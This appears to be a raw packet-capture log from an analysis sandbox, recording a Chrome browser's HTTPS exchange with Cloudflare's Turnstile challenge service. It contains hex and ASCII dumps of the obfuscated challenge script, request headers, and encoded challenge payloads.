2025-01-14 14:23:49 UTC	1369	IN	Data Raw: 32 30 74 61 6b 69 6e 67 25 32 30 6c 6f 6e 67 65 72 25 32 30 74 68 61 6e 25 32 30 65 78 70 65 63 74 65 64 2e 25 32 30 43 68 65 63 6b 25 32 30 79 6f 75 72 25 32 30 49 6e 74 65 72 6e 65 74 25 32 30 63 6f 6e 6e 65 63 74 69 6f 6e 25 32 30 61 6e 64 25 32 30 25 33 43 61 25 32 30 63 6c 61 73 73 25 33 44 25 32 32 72 65 66 72 65 73 68 5f 6c 69 6e 6b 25 32 32 25 33 45 72 65 66 72 65 73 68 25 32 30 74 68 65 25 32 30 70 61 67 65 25 33 43 25 32 46 61 25 33 45 25 32 30 69 66 25 32 30 74 68 65 25 32 30 69 73 73 75 65 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 65 6e 64 25 32 30 46 65 65 64 62 61 63 6b 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 22 3a 22 54 65 73 74 69 Data Ascii: 20taking%20longer%20than%20expected.%20Check%20your%20Internet%20connection%20and%20%3Ca%20class%3D%22refresh_link%22%3Erefresh%20the%20page%3C%2Fa%3E%20if%20the%20issue%20persists.","turnstile_feedback_description":"Send%20Feedback","testing_only":"Testi
2025-01-14 14:23:49 UTC	1369	IN	Data Raw: 2c 67 6c 2c 67 70 2c 67 71 2c 67 72 2c 67 76 2c 67 77 2c 67 78 2c 67 45 2c 65 4f 2c 65 50 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 39 39 30 29 29 2f 31 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 36 36 36 29 29 2f 32 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 33 36 38 29 29 2f 33 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 36 37 33 29 29 2f 34 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 30 33 29 29 2f 35 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 39 30 38 29 29 2f 36 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 31 35 29 29 2f 37 2a 28 2d 70 61 72 73 65 49 6e 74 28 Data Ascii: ,gl,gp,gq,gr,gv,gw,gx,gE,eO,eP){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(990))/1+-parseInt(gI(666))/2(-parseInt(gI(368))/3)+-parseInt(gI(1673))/4+-parseInt(gI(1403))/5(parseInt(gI(908))/6)+-parseInt(gI(1215))/7*(-parseInt(
2025-01-14 14:23:49 UTC	1369	IN	Data Raw: 28 68 73 29 7b 68 73 3d 68 72 2c 65 4d 5b 68 73 28 31 36 31 31 29 5d 26 26 28 65 4d 5b 68 73 28 31 33 34 32 29 5d 5b 68 73 28 36 36 30 29 5d 28 29 2c 65 4d 5b 68 73 28 31 33 34 32 29 5d 5b 68 73 28 31 33 37 38 29 5d 28 29 2c 65 4d 5b 68 73 28 31 30 34 39 29 5d 3d 21 21 5b 5d 2c 65 4d 5b 65 5b 68 73 28 31 30 37 34 29 5d 5d 5b 68 73 28 36 34 31 29 5d 28 7b 27 73 6f 75 72 63 65 27 3a 68 73 28 36 35 34 29 2c 27 77 69 64 67 65 74 49 64 27 3a 65 4d 5b 68 73 28 31 35 34 34 29 5d 5b 68 73 28 31 34 38 32 29 5d 2c 27 65 76 65 6e 74 27 3a 68 73 28 34 30 36 29 2c 27 63 66 43 68 6c 4f 75 74 27 3a 65 4d 5b 68 73 28 31 35 34 34 29 5d 5b 68 73 28 38 35 33 29 5d 2c 27 63 66 43 68 6c 4f 75 74 53 27 3a 65 4d 5b 68 73 28 31 35 34 34 29 5d 5b 68 73 28 36 39 38 29 5d 2c 27 63 Data Ascii: (hs){hs=hr,eM[hs(1611)]&&(eM[hs(1342)][hs(660)](),eM[hs(1342)][hs(1378)](),eM[hs(1049)]=!![],eM[e[hs(1074)]][hs(641)]({'source':hs(654),'widgetId':eM[hs(1544)][hs(1482)],'event':hs(406),'cfChlOut':eM[hs(1544)][hs(853)],'cfChlOutS':eM[hs(1544)][hs(698)],'c
2025-01-14 14:23:49 UTC	1369	IN	Data Raw: 2b 44 29 7d 63 61 74 63 68 28 45 29 7b 7d 7d 2c 65 4d 5b 67 4a 28 31 33 31 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 68 75 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 73 2c 6d 29 7b 69 66 28 68 75 3d 67 4a 2c 65 3d 7b 27 42 75 61 55 53 27 3a 68 75 28 31 36 31 31 29 2c 27 70 66 6b 75 4c 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 5e 6f 7d 2c 27 68 70 63 42 69 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6f 3d 3d 3d 6e 7d 2c 27 45 48 52 58 66 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6f 5e 6e 7d 2c 27 6e 5a 67 4a 54 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 6f 7d 2c 27 75 4a 52 64 54 27 3a 68 75 28 31 32 Data Ascii: +D)}catch(E){}},eM[gJ(1318)]=function(d,hu,e,f,g,h,i,j,k,l,s,m){if(hu=gJ,e={'BuaUS':hu(1611),'pfkuL':function(n,o){return n^o},'hpcBi':function(n,o){return o===n},'EHRXf':function(n,o){return o^n},'nZgJT':function(n,o){return n instanceof o},'uJRdT':hu(12
2025-01-14 14:23:49 UTC	1369	IN	Data Raw: 76 6e 48 61 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 7c 6f 7d 2c 27 45 72 49 43 54 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6f 3d 3d 6e 7d 2c 27 63 75 49 6f 55 27 3a 68 77 28 31 33 31 36 29 2c 27 71 51 4c 78 41 27 3a 68 77 28 31 35 32 32 29 2c 27 44 54 65 52 6b 27 3a 68 77 28 37 33 36 29 7d 2c 6a 3d 64 5b 68 77 28 35 34 30 29 5d 28 29 2c 6b 3d 69 5b 68 77 28 31 30 33 35 29 5d 2c 6a 5b 68 77 28 36 33 37 29 5d 28 6b 29 3e 2d 31 29 65 4d 5b 68 77 28 38 31 38 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 78 29 7b 68 78 3d 68 77 2c 65 4d 5b 68 78 28 31 34 37 34 29 5d 28 29 7d 2c 31 65 33 29 3b 65 6c 73 65 20 69 66 28 68 77 28 37 30 30 29 3d 3d 3d 68 77 28 31 31 35 36 29 29 7b 69 66 28 61 56 5b 68 77 28 36 31 Data Ascii: vnHa':function(n,o){return n\|o},'ErICT':function(n,o){return o==n},'cuIoU':hw(1316),'qQLxA':hw(1522),'DTeRk':hw(736)},j=d[hw(540)](),k=i[hw(1035)],j[hw(637)](k)>-1)eM[hw(818)](function(hx){hx=hw,eM[hx(1474)]()},1e3);else if(hw(700)===hw(1156)){if(aV[hw(61
2025-01-14 14:23:49 UTC	1369	IN	Data Raw: 3d 66 71 2c 66 73 3d 65 4d 5b 67 4a 28 31 35 34 34 29 5d 5b 67 4a 28 31 35 39 32 29 5d 5b 67 4a 28 31 30 35 37 29 5d 2c 66 74 3d 65 4d 5b 67 4a 28 31 35 34 34 29 5d 5b 67 4a 28 31 35 39 32 29 5d 5b 67 4a 28 31 33 39 38 29 5d 2c 66 75 3d 65 4d 5b 67 4a 28 31 35 34 34 29 5d 5b 67 4a 28 31 35 39 32 29 5d 5b 67 4a 28 31 35 35 39 29 5d 2c 66 47 3d 21 5b 5d 2c 66 53 3d 75 6e 64 65 66 69 6e 65 64 2c 65 4d 5b 67 4a 28 31 30 39 33 29 5d 28 67 4a 28 31 31 32 35 29 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 69 69 2c 64 2c 65 29 7b 69 69 3d 67 4a 2c 64 3d 7b 27 62 62 6b 52 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 20 69 6e 73 74 61 6e 63 65 6f 66 20 67 7d 2c 27 47 4f 62 74 41 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e Data Ascii: =fq,fs=eM[gJ(1544)][gJ(1592)][gJ(1057)],ft=eM[gJ(1544)][gJ(1592)][gJ(1398)],fu=eM[gJ(1544)][gJ(1592)][gJ(1559)],fG=![],fS=undefined,eM[gJ(1093)](gJ(1125),function(c,ii,d,e){ii=gJ,d={'bbkRk':function(f,g){return f instanceof g},'GObtA':function(f,g){return
2025-01-14 14:23:49 UTC	1369	IN	Data Raw: 65 20 72 65 74 75 72 6e 20 63 5b 69 54 28 31 36 35 32 29 5d 28 63 5b 69 54 28 34 33 37 29 5d 28 67 2c 68 29 2c 63 5b 69 54 28 31 36 37 31 29 5d 28 69 2c 33 32 2d 6a 29 29 7d 65 6c 73 65 20 63 5b 69 54 28 37 34 34 29 5d 21 3d 3d 69 54 28 34 31 31 29 3f 28 68 3d 6f 5b 69 54 28 31 31 38 32 29 5d 28 73 29 2c 31 32 38 3e 68 3f 76 2b 3d 78 5b 69 54 28 31 35 36 30 29 5d 28 68 29 3a 28 63 5b 69 54 28 31 33 33 39 29 5d 28 31 32 37 2c 68 29 26 26 32 30 34 38 3e 68 3f 42 2b 3d 43 5b 69 54 28 31 35 36 30 29 5d 28 63 5b 69 54 28 31 33 38 31 29 5d 28 68 3e 3e 36 2e 36 35 2c 31 39 32 29 29 3a 28 44 2b 3d 45 5b 69 54 28 31 35 36 30 29 5d 28 68 3e 3e 31 32 7c 32 32 34 2e 31 32 29 2c 46 2b 3d 47 5b 69 54 28 31 35 36 30 29 5d 28 63 5b 69 54 28 31 33 38 31 29 5d 28 36 33 26 Data Ascii: e return c[iT(1652)](c[iT(437)](g,h),c[iT(1671)](i,32-j))}else c[iT(744)]!==iT(411)?(h=o[iT(1182)](s),128>h?v+=x[iT(1560)](h):(c[iT(1339)](127,h)&&2048>h?B+=C[iT(1560)](c[iT(1381)](h>>6.65,192)):(D+=E[iT(1560)](h>>12\|224.12),F+=G[iT(1560)](c[iT(1381)](63&
2025-01-14 14:23:49 UTC	1369	IN	Data Raw: 3a 48 2b 3d 31 29 3b 72 65 74 75 72 6e 20 47 7d 28 78 29 2c 42 3d 27 6e 41 73 41 61 41 62 27 2e 73 70 6c 69 74 28 27 41 27 29 2c 42 3d 42 5b 69 59 28 35 38 34 29 5d 5b 69 59 28 31 33 33 33 29 5d 28 42 29 2c 43 3d 30 3b 43 3c 78 5b 69 59 28 31 32 36 33 29 5d 3b 44 3d 78 5b 43 5d 2c 45 3d 67 74 28 67 2c 68 2c 44 29 2c 42 28 45 29 3f 28 46 3d 6f 5b 69 59 28 39 34 37 29 5d 28 27 73 27 2c 45 29 26 26 21 67 5b 69 59 28 33 31 33 29 5d 28 68 5b 44 5d 29 2c 69 59 28 31 33 36 37 29 3d 3d 3d 6f 5b 69 59 28 31 33 35 35 29 5d 28 69 2c 44 29 3f 73 28 6f 5b 69 59 28 31 33 35 35 29 5d 28 69 2c 44 29 2c 45 29 3a 46 7c 7c 6f 5b 69 59 28 38 34 30 29 5d 28 73 2c 69 2b 44 2c 68 5b 44 5d 29 29 3a 73 28 6f 5b 69 59 28 31 33 35 35 29 5d 28 69 2c 44 29 2c 45 29 2c 43 2b 2b 29 3b Data Ascii: :H+=1);return G}(x),B='nAsAaAb'.split('A'),B=B[iY(584)][iY(1333)](B),C=0;C<x[iY(1263)];D=x[C],E=gt(g,h,D),B(E)?(F=o[iY(947)]('s',E)&&!g[iY(313)](h[D]),iY(1367)===o[iY(1355)](i,D)?s(o[iY(1355)](i,D),E):F\|\|o[iY(840)](s,i+D,h[D])):s(o[iY(1355)](i,D),E),C++);
2025-01-14 14:23:49 UTC	1369	IN	Data Raw: 7d 2c 27 62 78 45 72 76 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 52 75 78 4b 53 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 44 77 69 73 75 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 66 67 6d 4b 76 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 59 5a 72 51 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 63 6d 41 43 4a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 4b 64 68 6b 41 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 47 6c 57 50 65 27 3a 66 75 Data Ascii: },'bxErv':function(h,i){return i\|h},'RuxKS':function(h,i){return h(i)},'Dwisu':function(h,i){return h\|i},'fgmKv':function(h,i){return h<<i},'YZrQM':function(h,i){return i==h},'cmACJ':function(h,i){return h<<i},'KdhkA':function(h,i){return h==i},'GlWPe':fu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49737	104.18.95.41	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:23:49 UTC	1170	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/382041869:1736860383:ZqPzmwJyJsbA3MpWp2rpI_b9unVV8KTL-u85NFveN8A/901e4933de02c33d/l37FkFdlZ1fSDKFHo2gGYIJyAmHRKJ_5Hm7XdiRi500-1736864627-1.1.1.1-CL9syU60YH1ufmaXKKTjsxTCbjZZey2zOPmXtrtPqEkqR_ygy6Lcl6G0Icj2toKX HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3602 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: l37FkFdlZ1fSDKFHo2gGYIJyAmHRKJ_5Hm7XdiRi500-1736864627-1.1.1.1-CL9syU60YH1ufmaXKKTjsxTCbjZZey2zOPmXtrtPqEkqR_ygy6Lcl6G0Icj2toKX sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/ak6hp/0x4AAAAAAA4sjfoGATNb4gTz/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:23:49 UTC	3602	OUT	Data Raw: 76 5f 39 30 31 65 34 39 33 33 64 65 30 32 63 33 33 64 3d 55 62 56 35 4d 35 59 35 65 35 31 35 50 76 4b 42 76 4b 32 35 76 70 6d 52 69 6a 70 4b 68 76 72 72 4b 53 30 4b 6d 34 35 76 61 4b 54 35 6d 56 6a 6d 4e 61 56 4b 78 37 61 4b 73 6c 76 75 55 4b 66 35 76 32 56 4b 6d 49 4f 62 41 45 4b 49 52 4b 48 4b 76 62 4b 49 56 36 34 4b 30 4b 41 34 6d 72 4b 52 34 37 56 4b 65 6f 45 56 41 32 33 35 6d 46 4b 24 4e 44 64 2d 53 4a 38 35 73 46 4b 67 44 70 76 33 38 4c 36 34 6d 4a 52 4b 2d 6c 41 63 76 38 75 7a 6a 78 4b 41 4e 4e 46 73 38 34 42 76 5a 39 33 43 36 74 35 6d 49 44 73 6c 35 68 34 4b 75 72 33 43 24 62 4d 4b 75 33 67 30 49 72 69 69 61 4b 33 78 30 4b 37 52 70 6e 49 63 54 4b 37 63 37 4b 54 62 4b 52 46 52 4b 47 48 34 63 59 53 43 62 4b 73 31 55 4b 45 56 4b 35 35 41 76 78 4b 6a Data Ascii: v_901e4933de02c33d=UbV5M5Y5e515PvKBvK25vpmRijpKhvrrKS0Km45vaKT5mVjmNaVKx7aKslvuUKf5v2VKmIObAEKIRKHKvbKIV64K0KA4mrKR47VKeoEVA235mFK$NDd-SJ85sFKgDpv38L64mJRK-lAcv8uzjxKANNFs84BvZ93C6t5mIDsl5h4Kur3C$bMKu3g0IriiaK3x0K7RpnIcTK7c7KTbKRFRKGH4cYSCbKs1UKEVK55AvxKj
2025-01-14 14:23:49 UTC	795	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:23:49 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 155768 Connection: close cf-chl-gen: i0hTk+nggm55WKNd2r+VW7OmHrYIadKMHs2XdjiyVa5bIyRBKe73Bn50bUWiAcWa3oQLkhk3WLOqS9MaKbgl/XwZbkzYAVlBVwJXhbh+uZWKcc05HfzJEOjn7j3FEbLXFSDvn0RA37d3lFaRHkfezwCOxRXbYWjAm3C/joFmy4u0lRa9GGtzCF92bCVLJXZbWAZ1t2I2XCUhZmIpSTFvgB63pnLUunh7XrsQIVyWBtoNlq6orBqSey6ax+DjuYaMCNlYA120ahHetWvC13JOEiQOfhDXjSYpbqn1o6qYT+CVa9F4ayBCHyKbOz08EyBqEPuElC4fANpLhzhSmJjXBpAPgwMgeD6KtspRx/+00KYBVSHEUwLrPBB+7awOG4rBS5k+RonvQbW84aV8sJ40+mTLpKkUt788s4l1z9Yvm4zZ1zbS7lltHzwBGpOj8sgnQHSTRqIvaOXpSRL0NDD4dpheMC9DeFpI01RTdEwIrOsThdpYGDa8nmS5CjbQxWyatAUb8T4XK/oxyDMJLq9GKQ==$1Wlx9JldbjbFni+OrCO1tA== Server: cloudflare CF-RAY: 901e493e89804363-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 14:23:49 UTC	574	IN	Data Raw: 55 47 53 53 55 6e 52 6a 62 6f 39 74 61 4a 75 4c 67 5a 6d 68 66 58 74 76 68 70 70 36 71 59 4a 71 71 70 31 39 69 34 4f 4f 62 71 4f 53 67 36 53 45 74 4b 32 32 72 5a 75 58 65 5a 57 4c 6d 62 6e 45 78 4c 75 39 6b 38 57 66 77 35 6d 44 6a 49 33 48 71 37 47 72 6b 36 79 74 70 74 43 69 74 72 48 54 33 61 57 35 6d 39 4f 64 31 72 66 57 6f 4f 62 43 33 65 44 57 74 64 54 6e 32 4c 75 77 72 2f 4c 44 34 39 37 32 78 2b 6d 30 39 72 72 74 7a 75 72 61 36 50 76 69 7a 37 62 37 77 37 6b 42 38 74 77 43 78 73 59 49 33 39 6e 6f 44 2b 4d 47 35 63 2f 33 43 75 6b 58 35 51 33 30 47 42 50 63 37 68 44 5a 32 2f 50 6d 33 67 44 68 41 69 76 6b 4c 41 4d 41 48 77 62 37 42 67 30 42 49 66 49 51 46 54 48 31 43 44 38 54 51 42 51 58 4c 41 49 43 47 45 41 58 53 54 63 4b 51 78 31 4a 4b 55 45 74 4b 45 41 Data Ascii: UGSSUnRjbo9taJuLgZmhfXtvhpp6qYJqqp19i4OObqOSg6SEtK22rZuXeZWLmbnExLu9k8Wfw5mDjI3Hq7Grk6ytptCitrHT3aW5m9Od1rfWoObC3eDWtdTn2Luwr/LD4972x+m09rrtzura6Pviz7b7w7kB8twCxsYI39noD+MG5c/3CukX5Q30GBPc7hDZ2/Pm3gDhAivkLAMAHwb7Bg0BIfIQFTH1CD8TQBQXLAICGEAXSTcKQx1JKUEtKEA
2025-01-14 14:23:49 UTC	1369	IN	Data Raw: 38 74 50 67 51 61 52 45 45 65 49 6b 6f 75 4c 68 73 52 43 68 4d 76 4e 43 51 74 46 55 5a 4e 55 79 6f 39 54 52 74 62 58 44 6c 4d 4c 6a 78 58 4d 7a 51 6f 56 53 59 71 56 69 64 41 5a 32 46 4d 61 6b 31 70 52 45 41 33 56 30 52 57 61 6d 64 4b 66 6c 41 36 53 6a 6c 39 4e 32 4a 41 55 33 56 68 65 6e 70 75 67 55 36 45 61 57 68 68 58 49 74 6e 6c 6c 46 6f 57 57 61 4a 55 31 69 4b 62 70 4f 4f 6f 4a 2b 69 6f 5a 39 7a 59 48 39 32 69 6e 2b 71 69 37 43 47 6f 72 46 72 69 71 42 74 67 35 71 75 62 5a 69 74 76 70 36 76 73 5a 75 79 6a 4a 32 52 73 38 43 42 75 37 36 47 79 4d 72 45 67 71 43 6c 69 61 33 4d 73 64 6a 41 70 64 66 4c 33 63 6d 58 74 4e 54 62 31 62 2b 30 77 5a 36 78 35 38 72 43 6f 2b 76 4c 36 4f 62 4d 7a 36 54 76 7a 2b 72 32 2b 4d 44 6f 30 4e 66 37 73 39 76 62 32 62 7a 68 33 Data Ascii: 8tPgQaREEeIkouLhsRChMvNCQtFUZNUyo9TRtbXDlMLjxXMzQoVSYqVidAZ2FMak1pREA3V0RWamdKflA6Sjl9N2JAU3VhenpugU6EaWhhXItnllFoWWaJU1iKbpOOoJ+ioZ9zYH92in+qi7CGorFriqBtg5qubZitvp6vsZuyjJ2Rs8CBu76GyMrEgqClia3MsdjApdfL3cmXtNTb1b+0wZ6x58rCo+vL6ObMz6Tvz+r2+MDo0Nf7s9vb2bzh3
2025-01-14 14:23:49 UTC	1369	IN	Data Raw: 4a 43 30 41 59 4d 45 6f 38 49 6b 73 71 4b 6c 42 59 4c 31 51 53 4f 44 42 59 4b 31 4e 64 4e 42 68 42 52 57 4e 66 58 44 4a 4b 4a 43 45 2f 59 53 6b 74 62 6b 64 69 61 32 31 6e 4c 46 56 4a 56 45 64 48 64 6e 74 4d 57 6e 4e 56 62 58 5a 68 55 58 52 55 50 30 42 57 5a 55 4e 70 59 6e 31 49 62 58 31 71 64 45 64 77 6c 4a 56 78 57 59 64 6b 68 5a 46 52 6b 48 35 68 58 46 78 37 58 61 64 66 67 4a 78 6f 5a 59 5a 36 62 47 6d 4c 66 6e 42 74 6b 49 4a 30 63 5a 61 47 65 48 57 62 69 6e 78 35 6f 49 36 41 66 61 57 53 68 49 47 71 69 63 43 67 6e 5a 71 61 6d 35 47 74 71 71 6d 68 79 5a 2b 31 6b 4c 75 6c 74 70 7a 56 71 37 48 4a 76 39 62 4f 31 38 58 45 6f 74 54 72 33 65 54 42 32 4e 33 75 77 37 72 7a 36 72 54 54 72 65 33 6c 31 39 6e 64 39 73 6e 36 79 4d 6e 39 34 74 33 42 38 75 62 43 2f 64 Data Ascii: JC0AYMEo8IksqKlBYL1QSODBYK1NdNBhBRWNfXDJKJCE/YSktbkdia21nLFVJVEdHdntMWnNVbXZhUXRUP0BWZUNpYn1IbX1qdEdwlJVxWYdkhZFRkH5hXFx7XadfgJxoZYZ6bGmLfnBtkIJ0cZaGeHWbinx5oI6AfaWShIGqicCgnZqam5GtqqmhyZ+1kLultpzVq7HJv9bO18XEotTr3eTB2N3uw7rz6rTTre3l19nd9sn6yMn94t3B8ubC/d
2025-01-14 14:23:49 UTC	1369	IN	Data Raw: 44 53 6b 79 45 56 41 56 51 42 4d 73 54 54 4d 6f 50 46 34 6f 47 6a 42 44 5a 47 5a 5a 55 55 4d 6f 4a 45 5a 45 51 6b 46 49 53 47 30 39 55 45 31 7a 55 57 4a 54 65 48 74 6d 56 33 31 2f 61 6c 73 34 62 58 52 41 56 7a 68 48 55 34 68 46 56 49 52 73 53 32 42 75 57 33 42 4f 58 34 68 71 62 35 52 34 68 58 69 52 63 4a 74 2f 63 47 78 39 67 6e 75 6d 6a 34 53 48 67 32 4f 57 6d 34 36 47 6e 6f 69 4a 69 71 79 44 69 49 2b 57 70 36 36 70 68 4b 35 7a 6b 4a 47 57 69 62 4f 59 66 73 4c 47 66 62 6e 4a 69 59 47 6a 68 35 32 77 30 61 33 41 76 36 72 42 73 4b 61 68 74 73 32 73 78 74 69 64 74 39 2f 65 73 5a 7a 61 34 37 69 64 32 72 37 6d 34 4a 36 31 77 75 75 39 71 71 37 64 38 63 54 56 74 2b 33 70 74 38 58 4d 78 63 66 30 31 64 62 73 75 39 48 6c 32 75 6a 42 38 77 7a 47 31 2f 34 45 41 67 4c Data Ascii: DSkyEVAVQBMsTTMoPF4oGjBDZGZZUUMoJEZEQkFISG09UE1zUWJTeHtmV31/als4bXRAVzhHU4hFVIRsS2BuW3BOX4hqb5R4hXiRcJt/cGx9gnumj4SHg2OWm46GnoiJiqyDiI+Wp66phK5zkJGWibOYfsLGfbnJiYGjh52w0a3Av6rBsKahts2sxtidt9/esZza47id2r7m4J61wuu9qq7d8cTVt+3pt8XMxcf01dbsu9Hl2ujB8wzG1/4EAgL
2025-01-14 14:23:49 UTC	1369	IN	Data Raw: 46 4e 49 4c 55 74 4c 4d 79 6f 77 47 54 63 63 56 31 52 65 56 31 42 62 4a 57 64 73 59 55 59 38 59 32 6b 78 5a 7a 4a 52 4e 6b 70 77 4f 48 46 71 55 6e 64 34 57 6a 35 66 57 32 46 66 68 6d 61 45 59 31 39 36 57 32 5a 62 64 34 52 2f 51 31 43 43 63 31 46 50 54 59 75 56 65 32 6d 55 57 48 69 67 59 47 6c 34 65 49 79 51 6e 61 52 7a 6f 32 68 6b 6f 57 70 6e 69 32 78 39 68 59 71 69 69 4a 56 77 68 4b 79 72 6d 70 4f 7a 64 70 47 34 6c 62 33 45 64 72 58 48 68 35 4b 55 6c 71 7a 43 74 73 6e 4f 71 4d 75 51 71 61 57 2f 74 73 50 42 74 35 6d 78 78 64 4f 63 30 73 32 79 30 4c 54 56 32 73 4f 67 31 38 58 59 31 4f 79 33 35 64 66 4b 32 75 2f 53 7a 63 6e 66 32 4e 4c 30 36 39 6a 56 2b 64 6e 71 32 77 41 45 37 74 38 46 43 50 4c 6a 43 67 7a 32 35 38 54 35 41 63 7a 6a 78 4e 50 66 46 64 48 67 Data Ascii: FNILUtLMyowGTccV1ReV1BbJWdsYUY8Y2kxZzJRNkpwOHFqUnd4Wj5fW2FfhmaEY196W2Zbd4R/Q1CCc1FPTYuVe2mUWHigYGl4eIyQnaRzo2hkoWpni2x9hYqiiJVwhKyrmpOzdpG4lb3EdrXHh5KUlqzCtsnOqMuQqaW/tsPBt5mxxdOc0s2y0LTV2sOg18XY1Oy35dfK2u/Szcnf2NL069jV+dnq2wAE7t8FCPLjCgz258T5AczjxNPfFdHg
2025-01-14 14:23:49 UTC	1369	IN	Data Raw: 73 35 56 43 39 43 57 7a 30 2f 51 45 67 68 49 30 55 6f 4b 69 5a 4c 4c 6c 4a 71 54 47 74 43 62 45 68 58 65 48 70 57 64 6b 59 36 58 6d 6c 69 66 6b 42 32 68 56 41 35 64 6c 31 35 66 34 70 68 57 47 39 65 61 6f 65 51 67 56 43 53 6c 33 46 56 64 46 70 77 6c 5a 68 78 65 57 43 62 68 4a 75 53 6e 48 69 45 6f 35 4f 44 6f 70 71 65 6c 36 4f 4c 67 4b 79 6f 67 62 61 31 74 6f 71 79 69 33 57 53 71 48 69 50 6a 38 4f 57 75 37 75 38 6e 71 50 4a 69 72 69 32 6d 34 44 4a 75 4b 6e 44 6f 35 47 56 72 71 79 78 78 64 53 77 74 38 7a 4c 6d 4e 4f 76 6d 35 79 77 73 39 36 35 6e 38 54 42 78 72 2f 75 32 74 76 74 37 36 37 67 36 63 6d 6f 38 74 58 46 35 4c 4f 7a 74 4d 66 4a 74 39 33 54 32 37 7a 68 35 37 37 43 35 63 66 66 78 75 6e 4c 43 73 72 74 7a 39 4c 4f 38 64 54 72 30 76 58 59 42 74 62 35 33 Data Ascii: s5VC9CWz0/QEghI0UoKiZLLlJqTGtCbEhXeHpWdkY6XmlifkB2hVA5dl15f4phWG9eaoeQgVCSl3FVdFpwlZhxeWCbhJuSnHiEo5ODopqel6OLgKyogba1toqyi3WSqHiPj8OWu7u8nqPJiri2m4DJuKnDo5GVrqyxxdSwt8zLmNOvm5yws965n8TBxr/u2tvt767g6cmo8tXF5LOztMfJt93T27zh577C5cffxunLCsrtz9LO8dTr0vXYBtb53
